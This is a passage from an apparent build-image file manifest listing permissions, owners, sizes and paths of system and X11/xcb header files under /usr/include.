+-rw-r--r-- root root 2897 ./usr/include/rpc/netdb.h
+drwxr-xr-x root root 4096 ./usr/include/rpcsvc
+-rw-r--r-- root root 2675 ./usr/include/rpcsvc/nis_callback.h
+-rw-r--r-- root root 2178 ./usr/include/rpcsvc/nis_callback.x
+-rw-r--r-- root root 15879 ./usr/include/rpcsvc/nis.h
+-rw-r--r-- root root 12340 ./usr/include/rpcsvc/nislib.h
+-rw-r--r-- root root 13090 ./usr/include/rpcsvc/nis_object.x
+-rw-r--r-- root root 5370 ./usr/include/rpcsvc/nis_tags.h
+-rw-r--r-- root root 16802 ./usr/include/rpcsvc/nis.x
+-rw-r--r-- root root 3481 ./usr/include/rpcsvc/ypclnt.h
+-rw-r--r-- root root 7964 ./usr/include/rpcsvc/yp.h
+-rw-r--r-- root root 913 ./usr/include/rpcsvc/yppasswd.h
+-rw-r--r-- root root 2286 ./usr/include/rpcsvc/yppasswd.x
+-rw-r--r-- root root 14920 ./usr/include/rpcsvc/yp_prot.h
+-rw-r--r-- root root 3027 ./usr/include/rpcsvc/ypupd.h
+-rw-r--r-- root root 6981 ./usr/include/rpcsvc/yp.x
+-rw-r--r-- root root 4733 ./usr/include/sched.h
+drwxr-xr-x root root 4096 ./usr/include/scsi
+-rw-r--r-- root root 10168 ./usr/include/scsi/cxlflash_ioctl.h
+drwxr-xr-x root root 4096 ./usr/include/scsi/fc
+-rw-r--r-- root root 26902 ./usr/include/scsi/fc/fc_els.h
+-rw-r--r-- root root 11703 ./usr/include/scsi/fc/fc_fs.h
+-rw-r--r-- root root 2231 ./usr/include/scsi/fc/fc_gs.h
+-rw-r--r-- root root 4317 ./usr/include/scsi/fc/fc_ns.h
+-rw-r--r-- root root 8027 ./usr/include/scsi/scsi_bsg_fc.h
+-rw-r--r-- root root 2795 ./usr/include/scsi/scsi_bsg_ufs.h
+-rw-r--r-- root root 6970 ./usr/include/scsi/scsi.h
+-rw-r--r-- root root 1316 ./usr/include/scsi/scsi_ioctl.h
+-rw-r--r-- root root 1264 ./usr/include/scsi/scsi_netlink_fc.h
+-rw-r--r-- root root 2906 ./usr/include/scsi/scsi_netlink.h
+-rw-r--r-- root root 11662 ./usr/include/scsi/sg.h
+-rw-r--r-- root root 5450 ./usr/include/search.h
+-rw-r--r-- root root 2735 ./usr/include/semaphore.h
+-rw-r--r-- root root 3670 ./usr/include/setjmp.h
+-rw-r--r-- root root 1344 ./usr/include/sgtty.h
+-rw-r--r-- root root 5472 ./usr/include/shadow.h
+-rw-r--r-- root root 12309 ./usr/include/signal.h
+drwxr-xr-x root root 4096 ./usr/include/sound
+-rw-r--r-- root root 21847 ./usr/include/sound/asequencer.h
+-rw-r--r-- root root 22222 ./usr/include/sound/asoc.h
+-rw-r--r-- root root 4377 ./usr/include/sound/asound_fm.h
+-rw-r--r-- root root 46564 ./usr/include/sound/asound.h
+-rw-r--r-- root root 6743 ./usr/include/sound/compress_offload.h
+-rw-r--r-- root root 16992 ./usr/include/sound/compress_params.h
+-rw-r--r-- root root 17240 ./usr/include/sound/emu10k1.h
+-rw-r--r-- root root 3245 ./usr/include/sound/firewire.h
+-rw-r--r-- root root 3140 ./usr/include/sound/hdsp.h
+-rw-r--r-- root root 5486 ./usr/include/sound/hdspm.h
+-rw-r--r-- root root 4304 ./usr/include/sound/sb16_csp.h
+-rw-r--r-- root root 7494 ./usr/include/sound/sfnt_info.h
+-rw-r--r-- root root 5195 ./usr/include/sound/skl-tplg-interface.h
+-rw-r--r-- root root 12191 ./usr/include/sound/snd_sst_tokens.h
+drwxr-xr-x root root 4096 ./usr/include/sound/sof
+-rw-r--r-- root root 2036 ./usr/include/sound/sof/abi.h
+-rw-r--r-- root root 2267 ./usr/include/sound/sof/fw.h
+-rw-r--r-- root root 922 ./usr/include/sound/sof/header.h
+-rw-r--r-- root root 3267 ./usr/include/sound/sof/tokens.h
+-rw-r--r-- root root 4601 ./usr/include/sound/tlv.h
+-rw-r--r-- root root 1939 ./usr/include/sound/usb_stream.h
+-rw-r--r-- root root 7758 ./usr/include/spawn.h
+-rw-r--r-- root root 34802 ./usr/include/sqlite3ext.h
+-rw-r--r-- root root 576161 ./usr/include/sqlite3.h
+drwxr-xr-x root root 4096 ./usr/include/ss
+-rw-r--r-- root root 1193 ./usr/include/ss/ss_err.h
+-rw-r--r-- root root 3166 ./usr/include/ss/ss.h
+-rw-r--r-- root root 264 ./usr/include/stab.h
+-rw-r--r-- root root 2290 ./usr/include/stdc-predef.h
+-rw-r--r-- root root 8474 ./usr/include/stdint.h
+-rw-r--r-- root root 2800 ./usr/include/stdio_ext.h
+-rw-r--r-- root root 29950 ./usr/include/stdio.h
+-rw-r--r-- root root 35835 ./usr/include/stdlib.h
+-rw-r--r-- root root 17660 ./usr/include/string.h
+-rw-r--r-- root root 4753 ./usr/include/strings.h
+-rw-r--r-- root root 2191 ./usr/include/symcat.h
+drwxr-xr-x root root 4096 ./usr/include/sys
+-rw-r--r-- root root 3302 ./usr/include/sys/acct.h
+-rw-r--r-- root root 3700 ./usr/include/sys/acl.h
+-rw-r--r-- root root 1260 ./usr/include/sys/auxv.h
+-rw-r--r-- root root 86 ./usr/include/sys/bitypes.h
+-rw-r--r-- root root 25 ./usr/include/syscall.h
+-rw-r--r-- root root 6996 ./usr/include/sys/capability.h
+-rw-r--r-- root root 18308 ./usr/include/sys/cdefs.h
+-rw-r--r-- root root 3576 ./usr/include/sys/debugreg.h
+-rw-r--r-- root root 922 ./usr/include/sys/dir.h
+-rw-r--r-- root root 1024 ./usr/include/sys/elf.h
+-rw-r--r-- root root 4411 ./usr/include/sys/epoll.h
+-rw-r--r-- root root 19 ./usr/include/sys/errno.h
+-rw-r--r-- root root 1400 ./usr/include/sys/eventfd.h
+-rw-r--r-- root root 5232 ./usr/include/sysexits.h
+-rw-r--r-- root root 1292 ./usr/include/sys/fanotify.h
+-rw-r--r-- root root 19 ./usr/include/sys/fcntl.h
+-rw-r--r-- root root 1675 ./usr/include/sys/file.h
+-rw-r--r-- root root 1188 ./usr/include/sys/fsuid.h
+-rw-r--r-- root root 6210 ./usr/include/sys/gmon.h
+-rw-r--r-- root root 2636 ./usr/include/sys/gmon_out.h
+-rw-r--r-- root root 3901 ./usr/include/sys/inotify.h
+-rw-r--r-- root root 1740 ./usr/include/sys/ioctl.h
+-rw-r--r-- root root 5086 ./usr/include/sys/io.h
+-rw-r--r-- root root 1462 ./usr/include/sys/ipc.h
+-rw-r--r-- root root 1112 ./usr/include/sys/kd.h
+-rw-r--r-- root root 1204 ./usr/include/sys/klog.h
+-rw-r--r-- root root 24 ./usr/include/syslog.h
+-rw-r--r-- root root 5552 ./usr/include/sys/mman.h
+-rw-r--r-- root root 5612 ./usr/include/sys/mount.h
+-rw-r--r-- root root 2366 ./usr/include/sys/msg.h
+-rw-r--r-- root root 11163 ./usr/include/sys/mtio.h
+-rw-r--r-- root root 3149 ./usr/include/sys/param.h
+-rw-r--r-- root root 923 ./usr/include/sys/pci.h
+-rw-r--r-- root root 1127 ./usr/include/sys/perm.h
+-rw-r--r-- root root 2723 ./usr/include/sys/personality.h
+-rw-r--r-- root root 2550 ./usr/include/sys/poll.h
+-rw-r--r-- root root 1059 ./usr/include/sys/prctl.h
+-rw-r--r-- root root 4338 ./usr/include/sys/procfs.h
+-rw-r--r-- root root 1959 ./usr/include/sys/profil.h
+-rw-r--r-- root root 4680 ./usr/include/sys/psx_syscall.h
+-rw-r--r-- root root 6126 ./usr/include/sys/ptrace.h
+-rw-r--r-- root root 19539 ./usr/include/sys/queue.h
+-rw-r--r-- root root 5173 ./usr/include/sys/quota.h
+-rw-r--r-- root root 1444 ./usr/include/sys/random.h
+-rw-r--r-- root root 1182 ./usr/include/sys/raw.h
+-rw-r--r-- root root 1633 ./usr/include/sys/reboot.h
+-rw-r--r-- root root 1827 ./usr/include/sys/reg.h
+-rw-r--r-- root root 3646 ./usr/include/sys/resource.h
+-rw-r--r-- root root 4141 ./usr/include/sys/select.h
+-rw-r--r-- root root 2037 ./usr/include/sys/sem.h
+-rw-r--r-- root root 1806 ./usr/include/sys/sendfile.h
+-rw-r--r-- root root 1874 ./usr/include/sys/shm.h
+-rw-r--r-- root root 1714 ./usr/include/sys/signalfd.h
+-rw-r--r-- root root 20 ./usr/include/sys/signal.h
+-rw-r--r-- root root 10205 ./usr/include/sys/socket.h
+-rw-r--r-- root root 141 ./usr/include/sys/socketvar.h
+-rw-r--r-- root root 29 ./usr/include/sys/soundcard.h
+-rw-r--r-- root root 2094 ./usr/include/sys/statfs.h
+-rw-r--r-- root root 16237 ./usr/include/sys/stat.h
+-rw-r--r-- root root 2820 ./usr/include/sys/statvfs.h
+-rw-r--r-- root root 1593 ./usr/include/sys/swap.h
+-rw-r--r-- root root 1256 ./usr/include/sys/syscall.h
+-rw-r--r-- root root 2105 ./usr/include/sys/sysctl.h
+-rw-r--r-- root root 1518 ./usr/include/sys/sysinfo.h
+-rw-r--r-- root root 7702 ./usr/include/sys/syslog.h
+-rw-r--r-- root root 2103 ./usr/include/sys/sysmacros.h
+-rw-r--r-- root root 74 ./usr/include/sys/termios.h
+-rw-r--r-- root root 1420 ./usr/include/sys/timeb.h
+-rw-r--r-- root root 6754 ./usr/include/sys/time.h
+-rw-r--r-- root root 1874 ./usr/include/sys/timerfd.h
+-rw-r--r-- root root 1597 ./usr/include/sys/times.h
+-rw-r--r-- root root 2206 ./usr/include/sys/timex.h
+-rw-r--r-- root root 2499 ./usr/include/sys/ttychars.h
+-rw-r--r-- root root 3568 ./usr/include/sys/ttydefaults.h
+-rw-r--r-- root root 5713 ./usr/include/sys/types.h
+-rw-r--r-- root root 5842 ./usr/include/sys/ucontext.h
+-rw-r--r-- root root 6280 ./usr/include/sys/uio.h
+-rw-r--r-- root root 1453 ./usr/include/sys/un.h
+-rw-r--r-- root root 20 ./usr/include/sys/unistd.h
+-rw-r--r-- root root 5208 ./usr/include/sys/user.h
+-rw-r--r-- root root 2481 ./usr/include/sys/utsname.h
+-rw-r--r-- root root 161 ./usr/include/sys/vfs.h
+-rw-r--r-- root root 1880 ./usr/include/sys/vlimit.h
+-rw-r--r-- root root 1199 ./usr/include/sys/vm86.h
+-rw-r--r-- root root 22 ./usr/include/sys/vt.h
+-rw-r--r-- root root 2463 ./usr/include/sys/vtimes.h
+-rw-r--r-- root root 5605 ./usr/include/sys/wait.h
+-rw-r--r-- root root 4275 ./usr/include/sys/xattr.h
+-rw-r--r-- root root 3786 ./usr/include/tar.h
+-rw-r--r-- root root 9130 ./usr/include/tcpd.h
+-rw-r--r-- root root 3471 ./usr/include/termcap.h
+-rw-r--r-- root root 9096 ./usr/include/term_entry.h
+-rw-r--r-- root root 40447 ./usr/include/term.h
+-rw-r--r-- root root 214 ./usr/include/termio.h
+-rw-r--r-- root root 3599 ./usr/include/termios.h
+-rw-r--r-- root root 37419 ./usr/include/tgmath.h
+-rw-r--r-- root root 16024 ./usr/include/thread_db.h
+-rw-r--r-- root root 6661 ./usr/include/threads.h
+-rw-r--r-- root root 14830 ./usr/include/tic.h
+-rw-r--r-- root root 10276 ./usr/include/time.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc
+-rw-r--r-- root root 2195 ./usr/include/tirpc/netconfig.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc/rpc
+-rw-r--r-- root root 4143 ./usr/include/tirpc/rpc/auth_des.h
+-rw-r--r-- root root 11085 ./usr/include/tirpc/rpc/auth.h
+-rw-r--r-- root root 3009 ./usr/include/tirpc/rpc/auth_unix.h
+-rw-r--r-- root root 17067 ./usr/include/tirpc/rpc/clnt.h
+-rw-r--r-- root root 3904 ./usr/include/tirpc/rpc/clnt_soc.h
+-rw-r--r-- root root 2202 ./usr/include/tirpc/rpc/clnt_stat.h
+-rw-r--r-- root root 3706 ./usr/include/tirpc/rpc/des_crypt.h
+-rw-r--r-- root root 3045 ./usr/include/tirpc/rpc/des.h
+-rw-r--r-- root root 8021 ./usr/include/tirpc/rpc/key_prot.h
+-rw-r--r-- root root 2431 ./usr/include/tirpc/rpc/nettype.h
+-rw-r--r-- root root 3582 ./usr/include/tirpc/rpc/pmap_clnt.h
+-rw-r--r-- root root 4064 ./usr/include/tirpc/rpc/pmap_prot.h
+-rw-r--r-- root root 2450 ./usr/include/tirpc/rpc/pmap_rmt.h
+-rw-r--r-- root root 2117 ./usr/include/tirpc/rpc/raw.h
+-rw-r--r-- root root 3496 ./usr/include/tirpc/rpc/rpcb_clnt.h
+-rw-r--r-- root root 25776 ./usr/include/tirpc/rpc/rpcb_prot.h
+-rw-r--r-- root root 14673 ./usr/include/tirpc/rpc/rpcb_prot.x
+-rw-r--r-- root root 3102 ./usr/include/tirpc/rpc/rpc_com.h
+-rw-r--r-- root root 2712 ./usr/include/tirpc/rpc/rpcent.h
+-rw-r--r-- root root 4130 ./usr/include/tirpc/rpc/rpc.h
+-rw-r--r-- root root 5340 ./usr/include/tirpc/rpc/rpc_msg.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc/rpcsvc
+-rw-r--r-- root root 3041 ./usr/include/tirpc/rpc/svc_auth.h
+-rw-r--r-- root root 2414 ./usr/include/tirpc/rpcsvc/crypt.h
+-rw-r--r-- root root 3929 ./usr/include/tirpc/rpcsvc/crypt.x
+-rw-r--r-- root root 2462 ./usr/include/tirpc/rpc/svc_dg.h
+-rw-r--r-- root root 14589 ./usr/include/tirpc/rpc/svc.h
+-rw-r--r-- root root 1912 ./usr/include/tirpc/rpc/svc_mt.h
+-rw-r--r-- root root 3749 ./usr/include/tirpc/rpc/svc_soc.h
+-rw-r--r-- root root 3756 ./usr/include/tirpc/rpc/types.h
+-rw-r--r-- root root 13372 ./usr/include/tirpc/rpc/xdr.h
+-rw-r--r-- root root 2494 ./usr/include/ttyent.h
+-rw-r--r-- root root 2002 ./usr/include/uchar.h
+-rw-r--r-- root root 2037 ./usr/include/ucontext.h
+-rw-r--r-- root root 8998 ./usr/include/udev.h
+-rw-r--r-- root root 1584 ./usr/include/ulimit.h
+-rw-r--r-- root root 3177 ./usr/include/unctrl.h
+-rw-r--r-- root root 42804 ./usr/include/unistd.h
+-rw-r--r-- root root 1502 ./usr/include/utime.h
+-rw-r--r-- root root 3223 ./usr/include/utmp.h
+-rw-r--r-- root root 4100 ./usr/include/utmpx.h
+drwxr-xr-x root root 4096 ./usr/include/uuid
+-rw-r--r-- root root 3910 ./usr/include/uuid/uuid.h
+-rw-r--r-- root root 1956 ./usr/include/values.h
+drwxr-xr-x root root 4096 ./usr/include/video
+-rw-r--r-- root root 213 ./usr/include/video/edid.h
+-rw-r--r-- root root 7643 ./usr/include/video/sisfb.h
+-rw-r--r-- root root 1078 ./usr/include/video/uvesafb.h
+-rw-r--r-- root root 22 ./usr/include/wait.h
+-rw-r--r-- root root 8755 ./usr/include/wayland-client-core.h
+-rw-r--r-- root root 1573 ./usr/include/wayland-client.h
+-rw-r--r-- root root 184232 ./usr/include/wayland-client-protocol.h
+-rw-r--r-- root root 2260 ./usr/include/wayland-cursor.h
+-rw-r--r-- root root 1848 ./usr/include/wayland-egl-backend.h
+-rw-r--r-- root root 1788 ./usr/include/wayland-egl-core.h
+-rw-r--r-- root root 1313 ./usr/include/wayland-egl.h
+-rw-r--r-- root root 19021 ./usr/include/wayland-server-core.h
+-rw-r--r-- root root 3237 ./usr/include/wayland-server.h
+-rw-r--r-- root root 144281 ./usr/include/wayland-server-protocol.h
+-rw-r--r-- root root 24118 ./usr/include/wayland-util.h
+-rw-r--r-- root root 1354 ./usr/include/wayland-version.h
+-rw-r--r-- root root 31111 ./usr/include/wchar.h
+-rw-r--r-- root root 5549 ./usr/include/wctype.h
+-rw-r--r-- root root 2502 ./usr/include/wordexp.h
+drwxr-xr-x root root 4096 ./usr/include/X11
+-rw-r--r-- root root 2293 ./usr/include/X11/ap_keysym.h
+-rw-r--r-- root root 3118 ./usr/include/X11/cursorfont.h
+-rw-r--r-- root root 2815 ./usr/include/X11/DECkeysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/dri
+-rw-r--r-- root root 2445 ./usr/include/X11/dri/xf86dri.h
+-rw-r--r-- root root 9669 ./usr/include/X11/dri/xf86driproto.h
+-rw-r--r-- root root 174 ./usr/include/X11/dri/xf86dristr.h
+drwxr-xr-x root root 4096 ./usr/include/X11/extensions
+-rw-r--r-- root root 1705 ./usr/include/X11/extensions/ag.h
+-rw-r--r-- root root 5005 ./usr/include/X11/extensions/agproto.h
+-rw-r--r-- root root 2900 ./usr/include/X11/extensions/applewmconst.h
+-rw-r--r-- root root 8098 ./usr/include/X11/extensions/applewmproto.h
+-rw-r--r-- root root 1909 ./usr/include/X11/extensions/bigreqsproto.h
+-rw-r--r-- root root 187 ./usr/include/X11/extensions/bigreqstr.h
+-rw-r--r-- root root 3130 ./usr/include/X11/extensions/composite.h
+-rw-r--r-- root root 5462 ./usr/include/X11/extensions/compositeproto.h
+-rw-r--r-- root root 1353 ./usr/include/X11/extensions/cup.h
+-rw-r--r-- root root 3065 ./usr/include/X11/extensions/cupproto.h
+-rw-r--r-- root root 3615 ./usr/include/X11/extensions/damageproto.h
+-rw-r--r-- root root 1893 ./usr/include/X11/extensions/damagewire.h
+-rw-r--r-- root root 2159 ./usr/include/X11/extensions/dbe.h
+-rw-r--r-- root root 7343 ./usr/include/X11/extensions/dbeproto.h
+-rw-r--r-- root root 2373 ./usr/include/X11/extensions/dmx.h
+-rw-r--r-- root root 13343 ./usr/include/X11/extensions/dmxproto.h
+-rw-r--r-- root root 1778 ./usr/include/X11/extensions/dpmsconst.h
+-rw-r--r-- root root 2161 ./usr/include/X11/extensions/dpms.h
+-rw-r--r-- root root 5288 ./usr/include/X11/extensions/dpmsproto.h
+-rw-r--r-- root root 8318 ./usr/include/X11/extensions/dri2proto.h
+-rw-r--r-- root root 2468 ./usr/include/X11/extensions/dri2tokens.h
+-rw-r--r-- root root 6129 ./usr/include/X11/extensions/dri3proto.h
+-rw-r--r-- root root 1563 ./usr/include/X11/extensions/EVI.h
+-rw-r--r-- root root 3006 ./usr/include/X11/extensions/EVIproto.h
+-rw-r--r-- root root 6096 ./usr/include/X11/extensions/extutil.h
+-rw-r--r-- root root 1782 ./usr/include/X11/extensions/ge.h
+-rw-r--r-- root root 2351 ./usr/include/X11/extensions/geproto.h
+-rw-r--r-- root root 2236 ./usr/include/X11/extensions/lbx.h
+-rw-r--r-- root root 24782 ./usr/include/X11/extensions/lbxproto.h
+-rw-r--r-- root root 1509 ./usr/include/X11/extensions/mitmiscconst.h
+-rw-r--r-- root root 1741 ./usr/include/X11/extensions/MITMisc.h
+-rw-r--r-- root root 2229 ./usr/include/X11/extensions/mitmiscproto.h
+-rw-r--r-- root root 2575 ./usr/include/X11/extensions/multibufconst.h
+-rw-r--r-- root root 5835 ./usr/include/X11/extensions/multibuf.h
+-rw-r--r-- root root 8600 ./usr/include/X11/extensions/multibufproto.h
+-rw-r--r-- root root 5473 ./usr/include/X11/extensions/panoramiXproto.h
+-rw-r--r-- root root 5409 ./usr/include/X11/extensions/presentproto.h
+-rw-r--r-- root root 3597 ./usr/include/X11/extensions/presenttokens.h
+-rw-r--r-- root root 6909 ./usr/include/X11/extensions/randr.h
+-rw-r--r-- root root 25751 ./usr/include/X11/extensions/randrproto.h
+-rw-r--r-- root root 2064 ./usr/include/X11/extensions/recordconst.h
+-rw-r--r-- root root 7634 ./usr/include/X11/extensions/recordproto.h
+-rw-r--r-- root root 258 ./usr/include/X11/extensions/recordstr.h
+-rw-r--r-- root root 6933 ./usr/include/X11/extensions/render.h
+-rw-r--r-- root root 13218 ./usr/include/X11/extensions/renderproto.h
+-rw-r--r-- root root 1900 ./usr/include/X11/extensions/saver.h
+-rw-r--r-- root root 5132 ./usr/include/X11/extensions/saverproto.h
+-rw-r--r-- root root 2141 ./usr/include/X11/extensions/secur.h
+-rw-r--r-- root root 2457 ./usr/include/X11/extensions/security.h
+-rw-r--r-- root root 3177 ./usr/include/X11/extensions/securproto.h
+-rw-r--r-- root root 1878 ./usr/include/X11/extensions/shapeconst.h
+-rw-r--r-- root root 4133 ./usr/include/X11/extensions/shape.h
+-rw-r--r-- root root 6730 ./usr/include/X11/extensions/shapeproto.h
+-rw-r--r-- root root 252 ./usr/include/X11/extensions/shapestr.h
+-rw-r--r-- root root 1645 ./usr/include/X11/extensions/shm.h
+-rw-r--r-- root root 6045 ./usr/include/X11/extensions/shmproto.h
+-rw-r--r-- root root 2123 ./usr/include/X11/extensions/shmstr.h
+-rw-r--r-- root root 6750 ./usr/include/X11/extensions/syncconst.h
+-rw-r--r-- root root 9676 ./usr/include/X11/extensions/sync.h
+-rw-r--r-- root root 11001 ./usr/include/X11/extensions/syncproto.h
+-rw-r--r-- root root 5606 ./usr/include/X11/extensions/syncstr.h
+-rw-r--r-- root root 2377 ./usr/include/X11/extensions/Xag.h
+-rw-r--r-- root root 3057 ./usr/include/X11/extensions/xcmiscproto.h
+-rw-r--r-- root root 185 ./usr/include/X11/extensions/xcmiscstr.h
+-rw-r--r-- root root 1710 ./usr/include/X11/extensions/Xcup.h
+-rw-r--r-- root root 2307 ./usr/include/X11/extensions/Xdamage.h
+-rw-r--r-- root root 4170 ./usr/include/X11/extensions/Xdbe.h
+-rw-r--r-- root root 2130 ./usr/include/X11/extensions/XEVI.h
+-rw-r--r-- root root 1655 ./usr/include/X11/extensions/Xext.h
+-rw-r--r-- root root 414 ./usr/include/X11/extensions/xf86bigfont.h
+-rw-r--r-- root root 2544 ./usr/include/X11/extensions/xf86bigfproto.h
+-rw-r--r-- root root 191 ./usr/include/X11/extensions/xf86bigfstr.h
+-rw-r--r-- root root 931 ./usr/include/X11/extensions/xf86dga1const.h
+-rw-r--r-- root root 4506 ./usr/include/X11/extensions/xf86dga1proto.h
+-rw-r--r-- root root 191 ./usr/include/X11/extensions/xf86dga1str.h
+-rw-r--r-- root root 2533 ./usr/include/X11/extensions/xf86dgaconst.h
+-rw-r--r-- root root 369 ./usr/include/X11/extensions/xf86dga.h
+-rw-r--r-- root root 7106 ./usr/include/X11/extensions/xf86dgaproto.h
+-rw-r--r-- root root 188 ./usr/include/X11/extensions/xf86dgastr.h
+-rw-r--r-- root root 2106 ./usr/include/X11/extensions/xf86vm.h
+-rw-r--r-- root root 7619 ./usr/include/X11/extensions/xf86vmode.h
+-rw-r--r-- root root 15700 ./usr/include/X11/extensions/xf86vmproto.h
+-rw-r--r-- root root 185 ./usr/include/X11/extensions/xf86vmstr.h
+-rw-r--r-- root root 7588 ./usr/include/X11/extensions/Xfixes.h
+-rw-r--r-- root root 12752 ./usr/include/X11/extensions/xfixesproto.h
+-rw-r--r-- root root 5396 ./usr/include/X11/extensions/xfixeswire.h
+-rw-r--r-- root root 1927 ./usr/include/X11/extensions/Xge.h
+-rw-r--r-- root root 10542 ./usr/include/X11/extensions/XI2.h
+-rw-r--r-- root root 37577 ./usr/include/X11/extensions/XI2proto.h
+-rw-r--r-- root root 9823 ./usr/include/X11/extensions/XI.h
+-rw-r--r-- root root 41010 ./usr/include/X11/extensions/XIproto.h
+-rw-r--r-- root root 15808 ./usr/include/X11/extensions/XKBgeom.h
+-rw-r--r-- root root 28211 ./usr/include/X11/extensions/XKB.h
+-rw-r--r-- root root 29105 ./usr/include/X11/extensions/XKBproto.h
+-rw-r--r-- root root 28018 ./usr/include/X11/extensions/XKBsrv.h
+-rw-r--r-- root root 19630 ./usr/include/X11/extensions/XKBstr.h
+-rw-r--r-- root root 1601 ./usr/include/X11/extensions/XLbx.h
+-rw-r--r-- root root 17120 ./usr/include/X11/extensions/Xrandr.h
+-rw-r--r-- root root 12805 ./usr/include/X11/extensions/Xrender.h
+-rw-r--r-- root root 5168 ./usr/include/X11/extensions/XResproto.h
+-rw-r--r-- root root 3735 ./usr/include/X11/extensions/XShm.h
+-rw-r--r-- root root 1392 ./usr/include/X11/extensions/xtestconst.h
+-rw-r--r-- root root 5439 ./usr/include/X11/extensions/xtestext1const.h
+-rw-r--r-- root root 3708 ./usr/include/X11/extensions/xtestext1.h
+-rw-r--r-- root root 7790 ./usr/include/X11/extensions/xtestext1proto.h
+-rw-r--r-- root root 3254 ./usr/include/X11/extensions/xtestproto.h
+-rw-r--r-- root root 3027 ./usr/include/X11/extensions/Xv.h
+-rw-r--r-- root root 3620 ./usr/include/X11/extensions/XvMC.h
+-rw-r--r-- root root 4484 ./usr/include/X11/extensions/XvMCproto.h
+-rw-r--r-- root root 12109 ./usr/include/X11/extensions/Xvproto.h
+drwxr-xr-x root root 4096 ./usr/include/X11/fonts
+-rw-r--r-- root root 4253 ./usr/include/X11/fonts/font.h
+-rw-r--r-- root root 3450 ./usr/include/X11/fonts/fontproto.h
+-rw-r--r-- root root 9401 ./usr/include/X11/fonts/fontstruct.h
+-rw-r--r-- root root 4075 ./usr/include/X11/fonts/FS.h
+-rw-r--r-- root root 3992 ./usr/include/X11/fonts/fsmasks.h
+-rw-r--r-- root root 19889 ./usr/include/X11/fonts/FSproto.h
+-rw-r--r-- root root 6046 ./usr/include/X11/HPkeysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/ICE
+-rw-r--r-- root root 7413 ./usr/include/X11/ICE/ICEconn.h
+-rw-r--r-- root root 2512 ./usr/include/X11/ICE/ICE.h
+-rw-r--r-- root root 9925 ./usr/include/X11/ICE/ICElib.h
+-rw-r--r-- root root 8206 ./usr/include/X11/ICE/ICEmsg.h
+-rw-r--r-- root root 4604 ./usr/include/X11/ICE/ICEproto.h
+-rw-r--r-- root root 3154 ./usr/include/X11/ICE/ICEutil.h
+-rw-r--r-- root root 459 ./usr/include/X11/ImUtil.h
+-rw-r--r-- root root 175248 ./usr/include/X11/keysymdef.h
+-rw-r--r-- root root 2769 ./usr/include/X11/keysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/SM
+-rw-r--r-- root root 2927 ./usr/include/X11/SM/SM.h
+-rw-r--r-- root root 11268 ./usr/include/X11/SM/SMlib.h
+-rw-r--r-- root root 4852 ./usr/include/X11/SM/SMproto.h
+-rw-r--r-- root root 4022 ./usr/include/X11/Sunkeysym.h
+-rw-r--r-- root root 4587 ./usr/include/X11/Xalloca.h
+-rw-r--r-- root root 2951 ./usr/include/X11/Xarch.h
+-rw-r--r-- root root 2518 ./usr/include/X11/Xatom.h
+-rw-r--r-- root root 3817 ./usr/include/X11/Xauth.h
+-rw-r--r-- root root 21346 ./usr/include/X11/Xcms.h
+-rw-r--r-- root root 2401 ./usr/include/X11/Xdefs.h
+-rw-r--r-- root root 6371 ./usr/include/X11/Xdmcp.h
+-rw-r--r-- root root 13612 ./usr/include/X11/XF86keysym.h
+-rw-r--r-- root root 7863 ./usr/include/X11/Xfuncproto.h
+-rw-r--r-- root root 2256 ./usr/include/X11/Xfuncs.h
+-rw-r--r-- root root 20137 ./usr/include/X11/X.h
+-rw-r--r-- root root 30995 ./usr/include/X11/XKBlib.h
+-rw-r--r-- root root 1567 ./usr/include/X11/XlibConf.h
+-rw-r--r-- root root 99532 ./usr/include/X11/Xlib.h
+-rw-r--r-- root root 40597 ./usr/include/X11/Xlibint.h
+-rw-r--r-- root root 506 ./usr/include/X11/Xlib-xcb.h
+-rw-r--r-- root root 1297 ./usr/include/X11/Xlocale.h
+-rw-r--r-- root root 5122 ./usr/include/X11/Xmd.h
+-rw-r--r-- root root 3115 ./usr/include/X11/Xosdefs.h
+-rw-r--r-- root root 4362 ./usr/include/X11/Xos.h
+-rw-r--r-- root root 33693 ./usr/include/X11/Xos_r.h
+-rw-r--r-- root root 7743 ./usr/include/X11/Xpoll.h
+-rw-r--r-- root root 52399 ./usr/include/X11/Xproto.h
+-rw-r--r-- root root 2743 ./usr/include/X11/Xprotostr.h
+-rw-r--r-- root root 5949 ./usr/include/X11/Xregion.h
+-rw-r--r-- root root 10628 ./usr/include/X11/Xresource.h
+-rw-r--r-- root root 1719 ./usr/include/X11/xshmfence.h
+-rw-r--r-- root root 12395 ./usr/include/X11/Xthreads.h
+drwxr-xr-x root root 4096 ./usr/include/X11/Xtrans
+-rw-r--r-- root root 2876 ./usr/include/X11/Xtrans/transport.c
+-rw-r--r-- root root 29462 ./usr/include/X11/Xtrans/Xtrans.c
+-rw-r--r-- root root 8785 ./usr/include/X11/Xtrans/Xtrans.h
+-rw-r--r-- root root 10158 ./usr/include/X11/Xtrans/Xtransint.h
+-rw-r--r-- root root 55410 ./usr/include/X11/Xtrans/Xtranslcl.c
+-rw-r--r-- root root 62655 ./usr/include/X11/Xtrans/Xtranssock.c
+-rw-r--r-- root root 14937 ./usr/include/X11/Xtrans/Xtransutil.c
+-rw-r--r-- root root 21353 ./usr/include/X11/Xutil.h
+-rw-r--r-- root root 1909 ./usr/include/X11/Xw32defs.h
+-rw-r--r-- root root 3872 ./usr/include/X11/XWDFile.h
+-rw-r--r-- root root 3283 ./usr/include/X11/Xwindows.h
+-rw-r--r-- root root 2261 ./usr/include/X11/Xwinsock.h
+drwxr-xr-x root root 4096 ./usr/include/xcb
+-rw-r--r-- root root 2407 ./usr/include/xcb/bigreq.h
+-rw-r--r-- root root 13867 ./usr/include/xcb/composite.h
+-rw-r--r-- root root 9285 ./usr/include/xcb/damage.h
+-rw-r--r-- root root 11924 ./usr/include/xcb/dpms.h
+-rw-r--r-- root root 35759 ./usr/include/xcb/dri2.h
+-rw-r--r-- root root 24241 ./usr/include/xcb/dri3.h
+-rw-r--r-- root root 2981 ./usr/include/xcb/ge.h
+-rw-r--r-- root root 252818 ./usr/include/xcb/glx.h
+-rw-r--r-- root root 19292 ./usr/include/xcb/present.h
+-rw-r--r-- root root 139534 ./usr/include/xcb/randr.h
+-rw-r--r-- root root 27912 ./usr/include/xcb/record.h
